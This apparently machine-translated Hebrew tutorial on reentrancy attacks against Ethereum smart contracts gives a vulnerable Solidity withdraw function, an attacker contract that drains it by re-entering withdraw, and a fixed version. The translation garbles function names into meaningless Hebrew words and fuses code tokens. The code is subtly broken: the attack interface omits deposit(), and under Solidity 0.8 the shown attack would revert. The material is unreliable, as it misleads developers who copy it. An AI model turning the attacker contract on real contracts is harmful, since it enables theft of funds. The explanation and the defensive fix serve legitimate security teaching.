כך מתרחשת אחת הפריצות הנפוצות ביותר לחוזים חכמים שעלות חברות Web 3 מיליונים...
כמה מהפריצות הגדולות ביותר בתעשיית הבלוקצ'יין, שבה נגנבו אסימוני מטבעות קריפטוגרפיים בשווי מיליוני דולרים, נבעו מהתקפות כניסה חוזרות. למרות שהפריצות הללו הפכו פחות נפוצות בשנים האחרונות, הן עדיין מהוות איום משמעותי על יישומי ומשתמשי בלוקצ'יין.
אז מהן בעצם התקפות כניסה חוזרות? איך הם נפרסים? והאם יש אמצעים שמפתחים יכולים לנקוט כדי למנוע מהם לקרות?
מהי התקפת כניסה חוזרת?
התקפת כניסה חוזרת מתרחשת כאשר פונקציית חוזה חכם פגיעה מבצע קריאה חיצונית לחוזה זדוני, מוותר זמנית על השליטה בזרימת העסקה. לאחר מכן, החוזה הזדוני קורא שוב ושוב לפונקציית החוזה החכם המקורי לפני שהוא מסיים לבצע תוך ריקון הכספים שלו.
בעיקרו של דבר, עסקת משיכה ב-Ethereum blockchain עוקבת אחר מחזור בן שלושה שלבים: אישור יתרה, העברה ועדכון יתרה. אם פושע רשת יכול לחטוף את המחזור לפני עדכון היתרה, הוא יכול למשוך שוב ושוב כספים עד שהארנק יתרוקן.
אחת מהפריצות הבלוקצ'יין הידועות לשמצה, פריצת Ethereum DAO, כפי שהיא מכוסה על ידי קויינדסק, הייתה התקפת כניסה חוזרת שהובילה להפסד של למעלה מ-60 מיליון דולר של eth ושינתה מהותית את מהלך המטבע הקריפטוגרפי השני בגודלו.
כיצד פועלת מתקפת כניסה חוזרת?
תארו לעצמכם בנק בעיר הולדתכם שבו מקומיים בעלי סגולה שומרים את כספם; סך הנזילות שלה הוא מיליון דולר. עם זאת, לבנק יש מערכת חשבונאית לקויה — העובדים ממתינים עד הערב כדי לעדכן את יתרות הבנק.
חבר המשקיע שלך מבקר בעיר ומגלה את הפגם החשבונאי. הוא יוצר חשבון ומפקיד 100,000 דולר. יום לאחר מכן, הוא מושך 100,000 דולר. לאחר שעה, הוא עושה ניסיון נוסף למשוך 100,000 דולר. מאחר שהבנק לא עדכן את היתרה שלו, היא עדיין עומדת על 100,000 דולר. אז הוא מקבל את הכסף. הוא עושה זאת שוב ושוב עד שלא נשאר כסף. העובדים מבינים שאין כסף רק כשהם מאזנים את הספרים בערב.
בהקשר של חוזה חכם, התהליך הולך כדלקמן:
- פושע רשת מזהה חוזה חכם "X" עם פגיעות.
- התוקף יוזם עסקה לגיטימית לחוזה היעד, X, כדי לשלוח כספים לחוזה זדוני, "Y". במהלך הביצוע, Y קורא לפונקציה הפגיעה ב-X.
- ביצוע החוזה של X מושהה או מתעכב כאשר החוזה ממתין לאינטראקציה עם האירוע החיצוני
- בזמן שהביצוע מושהה, התוקף קורא שוב ושוב לאותה פונקציה פגיעה ב-X, ושוב מפעיל את הביצוע שלה כמה פעמים שאפשר
- עם כל כניסה חוזרת, מצב החוזה עובר מניפולציות, מה שמאפשר לתוקף לנקז כספים מ-X ל-Y
- לאחר מיצוי הכספים, הכניסה מחדש נפסקת, הביצוע המושהה של X מסתיים לבסוף, ומצב החוזה מתעדכן בהתבסס על הכניסה האחרונה האחרונה.
בדרך כלל, התוקף מנצל בהצלחה את פגיעות הכניסה מחדש לטובתו, וגונב כספים מהחוזה.
דוגמה להתקפת כניסה חוזרת
אז איך בדיוק עלולה התקפת כניסה חוזרת להתרחש מבחינה טכנית בעת פריסה? הנה חוזה חכם היפותטי עם שער כניסה חוזר. נשתמש בשמות אקסיומטית כדי שיהיה קל יותר לעקוב אחריו.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
ה חוזה פגיע מאפשר למשתמשים להפקיד eth בחוזה באמצעות לְהַפְקִיד פוּנקצִיָה. לאחר מכן, המשתמשים יכולים למשוך את האות' שהופקדו באמצעות לָסֶגֶת פוּנקצִיָה. עם זאת, קיימת פגיעות של כניסה חוזרת ב- לָסֶגֶת פוּנקצִיָה. כאשר משתמש נסוג, החוזה מעביר את הסכום המבוקש לכתובת המשתמש לפני עדכון היתרה, ויוצר הזדמנות לתוקף לנצל.
עכשיו, כך ייראה החוזה החכם של תוקף.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
כאשר המתקפה יוצאת לדרך:
- ה חוזה תוקף לוקח את הכתובת של חוזה פגיע בקונסטרוקטור שלו ומאחסן אותו ב- חוזה פגיע מִשְׁתַנֶה.
- ה לִתְקוֹף הפונקציה נקראת על ידי התוקף, תוך הפקדת eth לתוך חוזה פגיע משתמש ב לְהַפְקִיד פונקציה ולאחר מכן קורא מיד ל- לָסֶגֶת פונקציה של חוזה פגיע.
- ה לָסֶגֶת לתפקד ב חוזה פגיע מעביר את כמות האת' המבוקשת לתוקף חוזה תוקף לפני עדכון היתרה, אך מכיוון שהחוזה של התוקף מושהה במהלך השיחה החיצונית, הפונקציה עדיין לא הושלמה.
- ה לְקַבֵּל לתפקד ב חוזה תוקף מופעל בגלל ה חוזה פגיע שלח eth לחוזה זה במהלך השיחה החיצונית.
- פונקציית הקבלה בודקת אם חוזה תוקף היתרה היא לפחות אתר 1 (הסכום שיש למשוך), ואז הוא נכנס מחדש ל חוזה פגיע על ידי קריאה שלו לָסֶגֶת לתפקד שוב.
- שלבים שלוש עד חמש חוזרים עד ל חוזה פגיע אזל הכספים והחוזה של התוקף צובר כמות נכבדת של מוסר.
- לבסוף, התוקף יכול להתקשר ל- למשוך כספים גנובים לתפקד ב חוזה תוקף לגנוב את כל הכספים שנצברו בחוזה שלהם.
ההתקפה יכולה להתרחש מהר מאוד, תלוי בביצועי הרשת. כאשר מעורבים חוזים חכמים מורכבים כגון ה-DAO Hack, שהובילה למזלג הקשה של Ethereum לתוך Ethereum ו-Ethereum Classic, ההתקפה מתרחשת במשך מספר שעות.
כיצד למנוע התקפת כניסה חוזרת
כדי למנוע התקפת כניסה חוזרת, עלינו לשנות את החוזה החכם הפגיע כך שיפעל לפי השיטות המומלצות לפיתוח חוזה חכם מאובטח. במקרה זה, עלינו ליישם את דפוס "בדיקות-השפעות-אינטראקציות" כמו בקוד שלהלן.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
בגרסה הקבועה הזו, הצגנו א הוא נעול מיפוי כדי לעקוב אחר האם חשבון מסוים נמצא בתהליך של משיכה. כאשר משתמש יוזם משיכה, החוזה בודק אם החשבון שלו נעול (!isLocked[msg.sender]), המציין כי לא מתבצעת כעת משיכה אחרת מאותו חשבון.
אם החשבון אינו נעול, החוזה ממשיך עם שינוי המדינה ואינטראקציה חיצונית. לאחר שינוי המצב והאינטראקציה החיצונית, החשבון נפתח שוב, מה שמאפשר משיכות עתידיות.
סוגי התקפות כניסה חוזרות
באופן כללי, ישנם שלושה סוגים עיקריים של התקפות כניסה חוזרות על סמך אופי הניצול שלהם.
- התקפת כניסה חוזרת בודדת: במקרה זה, הפונקציה הפגיעה שהתוקף קורא לה שוב ושוב היא אותה הפונקציה הרגישה לשער הכניסה מחדש. ההתקפה שלמעלה היא דוגמה להתקפת כניסה חוזרת יחידה, אותה ניתן למנוע בקלות על ידי יישום בדיקות ונעילות תקינות בקוד.
- התקפה בין פונקציות: בתרחיש זה, תוקף ממנף פונקציה פגיעה כדי לקרוא לפונקציה אחרת בתוך אותו חוזה שחולקת מצב עם הפגיעה. לפונקציה השנייה, שנקראת על ידי התוקף, יש השפעה רצויה כלשהי, מה שהופך אותה לאטרקטיבית יותר לניצול. התקפה זו מורכבת יותר וקשה יותר לזיהוי, ולכן יש צורך בבדיקות ומנעולים קפדניים בפונקציות המחוברות זו לזו כדי למתן אותה.
- התקפה חוצת חוזים: התקפה זו מתרחשת כאשר חוזה חיצוני מקיים אינטראקציה עם חוזה פגיע. במהלך אינטראקציה זו, מצב החוזה הפגיע נקרא בחוזה החיצוני לפני שהוא מתעדכן במלואו. זה קורה בדרך כלל כאשר חוזים מרובים חולקים את אותו משתנה וחלקם מעדכנים את המשתנה המשותף בצורה לא מאובטחת. פרוטוקולי תקשורת מאובטחים בין חוזים לתקופת ביקורת חוזים חכמים חייב להיות מיושם כדי למתן את ההתקפה הזו.
התקפות כניסה חוזרות יכולות להתבטא בצורות שונות ולכן דורשות אמצעים ספציפיים כדי למנוע כל אחת מהן.
שמירה על בטיחות מפני התקפות כניסה חוזרות
התקפות כניסה מחדש גרמו להפסדים כספיים משמעותיים וערערו את האמון ביישומי בלוקצ'יין. כדי להגן על חוזים, מפתחים חייבים לאמץ שיטות עבודה מומלצות בחריצות כדי למנוע פרצות כניסה חוזרת.
הם צריכים גם ליישם דפוסי נסיגה מאובטחים, להשתמש בספריות מהימנות ולערוך ביקורות יסודיות כדי לחזק את ההגנה של החוזה החכם עוד יותר. כמובן, הישארות מעודכנת לגבי איומים מתעוררים והקפדה על מאמצי אבטחה יכולים להבטיח שגם הם ישמרו על שלמות המערכות האקולוגיות של בלוקצ'יין.